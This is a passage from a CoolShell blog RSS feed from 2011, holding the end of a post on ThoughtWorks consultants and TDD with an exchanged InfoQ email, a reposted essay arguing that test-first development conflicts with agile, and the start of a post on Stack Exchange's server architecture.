target=\"_blank\">InfoQ的这个针对本章文章的讨论</a>，注意熊节同学的观点，他是在谈TDD呢，还是在说我呢？可见他是带着目的来参加这个讨论会的。但是大家有多少人看明白了他在说什么？他除了敏感，除了那些“神一般的观点”，你真的实在不知道他在说什么，你是不是和我一样，对他的发言感到很空洞呢？（熊节同学可能以为InfoQ把我邀请去了，其实我没有去。大家可以去看看，<strong><span style=\"color: #ff0000;\">那不是讨论，那是一群TDD的信徒们在自己炒作自己呢</span></strong>）</p>\n<p>我不厌其烦地再给咨询师们提那个建议——<strong>咨询师就像裁缝，不是只为设计时装的设计师，你们做的是量体裁衣的活儿。对于不同的身材，不同的体质，要用不同的财料和尺寸; 对于不同的性格，将会是不同的风格; 对于不同的场景，也将会是不同的服装，游泳和出席宴会是两种不同的服装。服装的好坏不是服装本身漂亮不漂亮，而是合不合身，搭配地好不好，适不适合相应的场景，着衣的人感觉到的是不是舒服</strong>。</p>\n<p>——————————————</p>\n<h4>关于ThoughtWorks和InfoQ给我的信</h4>\n<p>文章写得太长了，大家见笑了，也见谅！这是最后一段了。</p>\n<p>1） TW的王效珅在春节前和我有几次电子邮件的往。我觉得王效珅是个很出色的公关人员，她用硬朗来形容我，把我一下子形容老了几十岁。她希望和我做沟通，希望让我和TW的咨询师谈一谈，我没有答应，也没有拒绝。春节期间还给我打来了电话祝我春节快乐，真是太让我感动了。她尊称我老师，可是我并不买帐，因为我觉得我没有资格成为老师，我也建议她也不要随便叫人老师。下面，是我给她的回信中的观点。</p>\n<p>在谈到如何管理项目时，我这样回复她的</p>\n<blockquote><p>你可以理解成——你们就像是黄埔军校，西点军校出来的高材生，而我就则是一个天天在各种战场上摸爬滚打并被打得灰头土脸的土贼。我不相信流程和各种Best Practice，我只相信的是人。</p>\n<p>我最关心的是软件开发中的三件事，第一个是人，第二个还是人，第三个还是人。第一个人是实现项目的人，第二个是项目的所有人，第三个是项目外周边有关系的人。我不但关心他们的想法，他们的软/硬能力，我还更关心他们的风格，他们的性格，还有他们的成长经历。这样我才能在权衡项目中那些各种乱七八糟东西的时候，懂得怎么plan，怎么run，怎么communication，怎么manage 才会是真正有效的（效果+效率）。motivate和项目有关的每个人，这才是我心中的敏捷！（这其中是需要花大量的心血的，相当的影响寿命）</p></blockquote>\n<p>在谈到是否见面时，我是这样回复她的</p>\n<ul>\n<blockquote>\n<li>其一，在网上，不只是我的言论对TW有微辞，需要我们每一个人每一个公司树立一个好的心态就好了（网上骂我的也很多，我自以为我的心情还不错）。</li>\n<li>其二，如果做的好，那就经得住考验，经得住质疑，好的东西一定会有好的结果，有了结果，拿结果和事实说话，这是最好的方式。</li>\n<li>其三，你说的那位技术上的同事，据你说是对我很欣赏，也常看酷壳，那么以前应该交流过才对啊，不应该是我质疑了你们的时候。呵呵。</li>\n<li>其四，我绝对不是一棍子打死一片的人（我原文中也多次提过Agile中有一些提法是不错的），但是我也不是看到一个好的就大唱颂歌的人。</li>\n</blockquote>\n</ul>\n<p>2）关于InfoQ张凯峰主编的来信，原文如下：</p>\n<blockquote><p><span style=\"font-family: 微软雅黑; font-size: x-small;\"><br />\nFrom: xxxxx@infoq.com<br />\nDate: Tue, 15 Feb 2011 20:24:27 +0800<br />\nSubject: 邀请参加TDD虚拟座谈会的讨论<br />\nTo: haoel@hotmail.com<br />\n</span></p>\n<p>陈皓你好，</p>\n<p>我是InfoQ中文站的主编张凯峰。最近你的《TDD并不是看上去的那么美》一文引起的广泛的关注，我们想就此做一次虚拟的座谈会讨论，邀请你来参与一下关于TDD的讨论。邀请的专家还包括thoughtworks的咨询师，以及其他敏捷方面的专家。以给读者更加广泛的视角和分享。欢迎参加，谢谢。</p>\n<p>以下是问题，可以把每个问题的答案发回给我。截止时间是两天。任何问题，请与我沟通，谢谢。</p>\n<p>请介绍你自己，以及TDD的实践经验。<br />\nTDD跟Test是什么关系呢？TDD的T就是Unit Test吗？<br />\n你认为实施TDD需要怎样的前提条件？TDD难在哪儿？<br />\nTDD之于需求、设计、代码质量是怎样的关系和影响？<br />\n你认为实施TDD容易犯的错误是什么？TDD的不足在哪些方面？<br />\n一般开发者需要多久能掌握TDD呢？请向读者推荐一下TDD的学习资料吧。</p>\n<p>Thanks,</p>\n<p>&#8212;<br />\n张凯峰 | Kevin Zhang | InfoQ China Managing Editor<br />\nInfoQ China：http://www.infoq.com/cn</p></blockquote>\n<p>我的回复如下（我老婆 说我回复得太贫了，我接受！）</p>\n<blockquote><p><span style=\"font-family: 微软雅黑; font-size: x-small;\">From: haoel@hotmail.com<br />\nTo: xxxxx@infoq.com<br />\nSubject: RE: 邀请参加TDD虚拟座谈会的讨论<br />\nDate: Tue, 15 Feb 2011 21:45:51 +0800</span></p>\n<p>张凯峰主编，您好！</p>\n<p>谢谢你们关注我的文章，见笑了。</p>\n<p>你们真是很厉害，相当善于发掘热点新闻。果然是媒体的专业素质。;-)</p>\n<p>我的文章不应该有那么大的能量，一个根本没有推广的个人blog，随便发布一些自己的想法，不是自我炒作，自己的blog嘛，想啥说啥，就像大街上的阿猫阿狗一样随便发表点个人意见，不会有人在意的。哪能引得您们的关注。真是让我受宠若惊。</p>\n<p>另外，你问到的那些问题，绝大多数的答案都在我的那篇文章里了。如果你们想转载我的文章，转过去就是了，只要注明作者和出处就OK了。千万不要用于任何的商业目的和炒作，这样我会很不高兴的。</p>\n<p>所以，我还是谢绝这个讨论了。如果你真想找人讨论的话，执我这样观点的人并不在少数，Google一下，可以找到很多。尤其是国外的，有些作者和我一样，都是做了十几年的项目的，都是做大大小小也有20来个项目的，各种人，各种事，各种项目都经历过很多，找那些人岂不更好？</p>\n<p>P.S，您的邮件还真强势，在“谢谢”和“谢谢”中就直接让我回答这些问题，还只限两天时间。真是个大主编，让我学到了“谢谢”的另一种用法。谢谢！</p>\n<p>祝 工作顺利！<br />\n陈皓</p></blockquote>\n<p style=\"text-align: center;\"><span style=\"font-size: 12pt;\"><strong>我的观点就是我的观点，无论你同不同意，喜不喜欢，都是我的观点，</strong></span></p>\n<p style=\"text-align: center;\"><strong><span style=\"font-size: 16px;\">他就在那里，不卑不亢，不多不少</span></strong></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" alt=\"[转]TDD到底美还是不美？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_title\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3745.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>150</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>[转]TDD到底美还是不美？</title>\n\t\t<link>https://coolshell.cn/articles/3766.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3766.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Feb 2011 07:41:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3766</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的文章转自Todd Wei 的《TDD到底美还是不美？》，对于这篇文章，我个人能过透过作者的观点感受到他的项目中使用TDD的难点，同样可以感受到作者内心的纠...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3766.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div id=\"body_66167\">\n<p><span id=\"quote_66167\"> </span></p>\n<p><span style=\"font-size: 11pt;\"><strong>下面的文章转自Todd Wei 的《<a href=\"http://www.cnblogs.com/weidagang2046/archive/2011/02/23/1963277.html\" target=\"_blank\">TDD到底美还是不美？</a>》，对于这篇文章，我个人能过透过作者的观点感受到他的项目中使用TDD的难点，同样可以感受到作者内心的纠结。不管怎么样，我能够感到作者Todd Wei在独立思考，独立思考总是好的，因为那是走向成熟的必要条件。(<span style=\"color: #800000;\">另，大家可以移步过去看看相关的评论，挺有意思的</span>)</strong></span></p>\n<p>————————————————————————————————————</p>\n<p><span style=\"font-size: 10pt;\">最近CoolShell上的一篇</span><a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\"><span style=\"font-size: 10pt;\">《TDD并不是看上去的那么美》</span></a><span style=\"font-size: 10pt;\">引起了敏捷社区的高度关注和激励辩论。今天，InfoQ甚至专门举行了一个“虚拟座谈会”</span><a title=\"《TDD有多美》\" href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\"><span style=\"font-size: 10pt;\">《TDD有多美？》</span></a><span style=\"font-size: 10pt;\">，几位国内敏捷社区的名人专门就此问题展开了深入地讨论。不论结果如何，这个纯技术的探讨精神还是非常值得赞赏的。事件实际上可以简单地归纳为“一个有一定影响力的开发人员质疑TDD，一群敏捷社区名人对TDD进行解释和辩护”。现在，就让我坚定地站在CoolShell一边，为对TDD的质疑和批判添砖加瓦吧！</span></p>\n</div>\n<p><span style=\"font-size: 10pt;\">TDD的核心理念是什么呢？第一是Specification by Example，即把测试用例作为表达需求的一种方式。传统的需求表达方式包括文档，Use Case等，而TDD强调通过测试用例来表达需求。另外，TDD的测试用例是黑盒的基于外部接口的，所以，它实际上又是对外部接口的设计。如何看待测试用例是TDD与传统测试的一个重要区别。“不把测试用例单纯地视为测试，而从需求和设计的角度来看测试用例”的理念本身是好的。另外，TDD的第二个理念是Test First，强调测试对于实现的驱动作用，先写测试用例，再实现和重构。在Specification by Example的理念下，Test First的实质是“先理解清楚需求，并做好外部接口设计，把它转化为测试用例，然后再来实现和重构”。 </span></p>\n<p><span style=\"font-size: 10pt;\">我认为，Specification by Example是不错的，因为测试用例作具有精确性，容易自动化的优点，这是传统的文档和Use Case在表达需求时所欠缺的地方。但</span><strong>Test First理念本身则有很大的问题</strong>，尤其“在没有测试用例失败之前，不要写任何一行代码”的极端方式则更是极端的错误。<br />\n<span id=\"more-3766\"></span></p>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">如果测试用例是需求和设计，那么为什么不能先写出测试用例（即理解清楚需求做好外部接口设计）再来实现呢？这不是我们最熟悉的先需求再设计再编码吗？答案是：</span><span id=\"quote_66167\" style=\"font-size: 10pt;\"><strong>不能执行的测试用例（Test First）和能执行的测试用例有着天壤之别</strong>。不能执行的测试用例和写在纸上的文档相比对实现的指导意义不见得能好到哪里去！除非是一些很简单的情况下，在实际的软件开发中，你很难在没有执行测试用例的情况下写出真正符合最终需求的测试用例来。比如：你做一个页面，页面的效果需求和设计通常会在真正可以运行之后不断调整。如果片面强调测试对实现的驱动作用，那么实际上隐含了“需求可以在实现之前固定下来”的假设，这是非常不敏捷的和不现实的！我认为要做到真正的敏捷必须承认<strong>“需求无法在用户真正能运行看到效果之前明确下来“</strong>。由此可见，Test First和瀑布式思想没有区别，都强调需求先于实现，而忽略了软件需求的产生是一个在实际运行中不断调整探索完善的过程。TDD无非是把需求分析的结果用测试用例表达，替代传统用文档表达需求，但从宏观上看，TDD和瀑布比是换汤不换药。除了简单情况，不存在脱离实现的需求，你能够在明确了需求之后就实现出一套linux系统吗？既然你根本无法实现一套linux系统，那么这样所谓的需求又有多大的意义呢？所以，能提出什么样的需求不能脱离你的实现能力。<strong>需求和实现之间不是简单的谁驱动谁，而是一种相互反馈的关系</strong>，这与需求用什么方式表达没有关系。到目前为主，我推崇的方式是快速实现，在实际运行中体验效果，不断优化探索和明确需求，当需求达到一个比较稳定的程度才编写测试用例将需求固化下来。</span></p>\n<div>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">上面的论述主要针对贴近用户的外部需求（如ATDD），下面我会进一步解释即使是在内部的单元测试级别TDD仍然有问题。我们还是首先从需求入手，思考一下单元的需求是哪里来的呢？答案是：需求来自于设计， 也就是说高层模块的内部设计产生了低层模块的需求。而这种内部设计具有很大的不稳定性，带有很多假设的成分，在没有进行集成测试的情况下，很难讲这种内部设计是否合理。实际项目开发通常会在集成运行之后不断调整内部的设计，即影响单元的需求。那么，如果是按测试驱动，首先按不成熟的内部设计把一个个单元需求编写成单元测试再来实现，实际上大大推迟了能进行集成测试的时间，  对于真正快速弄清需求稳定设计反而是不利的。假设最终还是所有单元都完成，然后开始运行集成或验收测试，这时候有两种可能：1.用户看到实际效果，决定调整需求；2.发现未集成前的很多假设不成立。不论是哪一种情况发生，以前所写的单元测试都面临着被废弃或必须修改的命运。实际上，多数与业务相关的单元测试用例比起集成或验收测试用例更加不稳定，因为它会受到所有其上层模块的需求和设计变动的影响。由于我们在不稳定的单元测试上浪费了大量的时间（按我的经验编写单元测试比编写实现更耗时），这就导致了迟迟无法进行集成看到实际效果，也没有办法敏捷地应对需求的调整。也就是说具有讽刺意味的，</span><span id=\"quote_66167\" style=\"font-size: 10pt;\"><strong>Test First理念居然是和敏捷理念矛盾的！</strong></span></p>\n<p>所以，我认为TDD的理念Specification by Example没错，但Test   First即“在实现之前把需求和外部接口设计转化成测试用例”的理念错了。真正符合实际开发情况的理念是“需求是在实际运行过程中根据效果不断探索调整得来的，不可能脱离实际运行写出真正符合最终需求的测试用例来”。所以，<strong>我们真正应该做的是尽快看到实际运行的效果</strong>，而测试作为固化的需求和设计是在看到效果之后。<strong>过度的TDD只会导致迟迟看不到实际运行效果，看到效果需要调整需求又会废掉或改掉一大堆的测试用例。</strong>实际上，越是外部的需求其变更带来的影响和代价越大，越是需要尽早明确。从宏观上看，<strong>TDD所谓的快速反馈实际上是加快内部反馈，延迟了外部反馈，这无异于本末倒置</strong>。而大量需要修改或作废的测试用例其实是一种很大的浪费，这和消除浪费的精益思想也是矛盾的！</p>\n<div>\n<p><span id=\"quote_66167\"> </span></p>\n<div><img decoding=\"async\" loading=\"lazy\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/feedback_cycle.jpg\" border=\"0\" alt=\"\" width=\"564\" height=\"436\" /></div>\n</div>\n</div>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">上面这幅cost/length_of_feedback_cycle图是我们常见的用于说明敏捷方法比传统方法具有更短的反馈周期，更小代价的应对变化。从图中我们可以清晰的看到在验收测试中发现的需求错误导致的代价是最高的。如果验收测试往后推迟一点，发现错误的代价将按非线性地增长。上面我们已经论述了，任何方法都不可能消除验收测试后对需求的调整，因为这是需求产生的正常过程。我们唯一可以做的是尽可能地缩短验收测试的反馈周期，但是很不幸TDD大量的内部测试只会导致推迟验收测试的时间，从而大大增加代价。<br />\n</span></p>\n<div>\n<div><span style=\"font-size: 10pt;\">下面这段话来自于InfoQ文章</span><a title=\"《Mock不是测试的银弹》\" href=\"http://www.infoq.com/cn/articles/thoughtworks-practice-partvi\"><span style=\"font-size: 10pt;\">《Mock不是测试的银弹》</span></a><span style=\"font-size: 10pt;\">：“在使用JMock框架后测试编写起来更容易，运行速度更快，也更稳定，然而出乎意料的是产品质量并没有如我们所预期的随着不断添加  的测试而变得愈加健壮，虽然产品代码的单元测试覆盖率超过了80%，然而在发布前进行全面测试时，常常发现严重的功能缺陷而不得不一轮轮的修复缺陷、回归  测试。为什么编写了大量的测试还会频繁出现这些问题呢？ ”这描述的情况和我在实践中遇到的情况类似，不过很可惜文章并没有找到问题真正的原因。真正的原因不是什么Mock不Mock，而是TDD的单元测试是基于开发人员的假设，这些假设的测试即使全部通过代码覆盖率100%，到了集成测试发现假设根本不成立又怎能保证高质量？</span></div>\n</div>\n<p><span id=\"quote_66167\" style=\"font-size: 10pt;\">当然，我不是全盘否定TDD。TDD在某些需求特别固定的场合是适用的，尤其是与具体业务关系不大的需求，比如：写一个通用的数据结构，实现一个通用算法。TDD的先关注需求和思考外部接口设计的理念也对促进开发人员的抽象思维有很大益处。另外，TDD通常也具有较高的代码覆盖率。本文的主要观点在于：实际项目中，不要期望可以在实现之前完全明确需求，需求是在实际运行看到效果之后才逐步明确的；我们的开发过程必须能够敏捷地适应需求的变化，而TDD的Test First理念恰好与之矛盾。所以，对于TDD不了解的朋友，我建议应该学习和实践TDD，从而获得其益处；同时我也提醒TDD存在理论上的缺陷，这是在实践中需要特别留意的。</span></p>\n<p><span style=\"font-size: 10pt;\">(全文完)</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3766.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Stack Exchange 的架构</title>\n\t\t<link>https://coolshell.cn/articles/3721.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3721.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 23 Feb 2011 05:31:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[StackExchange]]></category>\n\t\t<category><![CDATA[StackOverflow]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3721</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>近日，Stack Exchange系统管理员blog上发布了一篇关于Stack Exchange的架构一瞥，其包括了Stack Overflow, Server...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3721.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3721.html\">Stack Exchange 的架构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>近日，Stack Exchange系统管理员blog上发布了一篇关于<a href=\"http://blog.serverfault.com/post/stack-exchanges-architecture-in-bullet-points/\" target=\"_blank\">Stack Exchange的架构一瞥</a>，其包括了Stack Overflow, Server Fault 和 Super User的 Stack Exchange 网络。注意最后一个关于人员的配置。希望能给大家一些相关的参考。</p>\n<h4>网络流量</h4>\n<ul>\n<li>每月9千5百万个PV</li>\n<li>每秒800 HTTP 请求</li>\n<li>每秒180 DNS 请求</li>\n<li>每秒55Mb 的带宽</li>\n</ul>\n<h4>数据中心</h4>\n<ul>\n<li>1 机柜 位于俄勒冈的 <a href=\"http://www.peakinternet.com/\">Peak Internet</a> (用于<a href=\"http://chat.stackexchange.com/\">chat</a> 和<a href=\"http://data.stackexchange.com/\">Data Explorer</a>)</li>\n<li>2 机框 位于 纽约的 <a href=\"http://www.peer1.com/\">Peer 1</a> ( 用于其它的 Stack Exchange Network)</li>\n</ul>\n<p><span id=\"more-3721\"></span></p>\n<h4>生产服务器</h4>\n<ul>\n<li>12 Web Servers (Windows Server 2008 R2)</li>\n<li>2 Database Servers (Windows Server 2008 R2 and SQL Server 2008 R2)</li>\n<li>2 Load Balancers (Ubuntu Server and HAProxy)</li>\n<li>2 Caching Servers (Redis on CentOS)</li>\n<li>1 Router / Firewall (Ubuntu Server)</li>\n<li>3 DNS Servers (Bind on CentOS)</li>\n</ul>\n<p>(生产服务器不含故障备份和管理服务器)</p>\n<h4>使用了的相关的软件和技术</h4>\n<ul>\n<li><a href=\"http://www.microsoft.com/net/\">C# / .NET</a></li>\n<li><a href=\"http://www.microsoft.com/windowsserver2008/en/us/default.aspx\">Windows Server 2008 R2</a></li>\n<li><a href=\"http://www.microsoft.com/sqlserver/en/us/default.aspx\">SQL Server 2008 R2</a></li>\n<li><a href=\"http://www.ubuntu.com/server\">Ubuntu Server</a></li>\n<li><a href=\"http://www.centos.org/\">CentOS</a></li>\n<li><a href=\"http://haproxy.1wt.eu/\">HAProxy</a> 用于负载均衡</li>\n<li><a href=\"http://redis.io/\">Redis</a> 用于缓存</li>\n<li><a href=\"http://sourceforge.net/projects/ccnet/\">CruiseControl.NET</a> 用于做builds</li>\n<li><a href=\"http://lucene.apache.org/lucene.net/\">Lucene.NET</a> 用于搜索</li>\n<li><a href=\"http://www.bacula.org/en/\">Bacula</a> 用于做备份</li>\n<li><a href=\"http://www.nagios.org/\">Nagios</a> (with n2rrd and drraw plugins) 用于系统监控</li>\n<li><a href=\"http://www.splunk.com/\">Splunk</a> 用于日志</li>\n<li><a href=\"http://www.red-gate.com/products/dba/sql-monitor/\">SQL Monitor from Red Gate</a> 用于监控SQL Server</li>\n<li><a href=\"http://mercurial.selenic.com/\">Mercurial</a> / <a href=\"http://www.fogcreek.com/kiln/\">Kiln</a> 用于源码管理</li>\n<li><a href=\"http://www.isc.org/software/bind\">Bind</a> 用于 DNS</li>\n</ul>\n<h4>程序员和系统管理员</h4>\n<ul>\n<li>14 程序员</li>\n<li>2 系统管理员</li>\n</ul>\n<p><span>（全文完）</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" alt=\"你确信你了解时间吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_title\">你确信你了解时间吗？</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li><li ><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Facebook 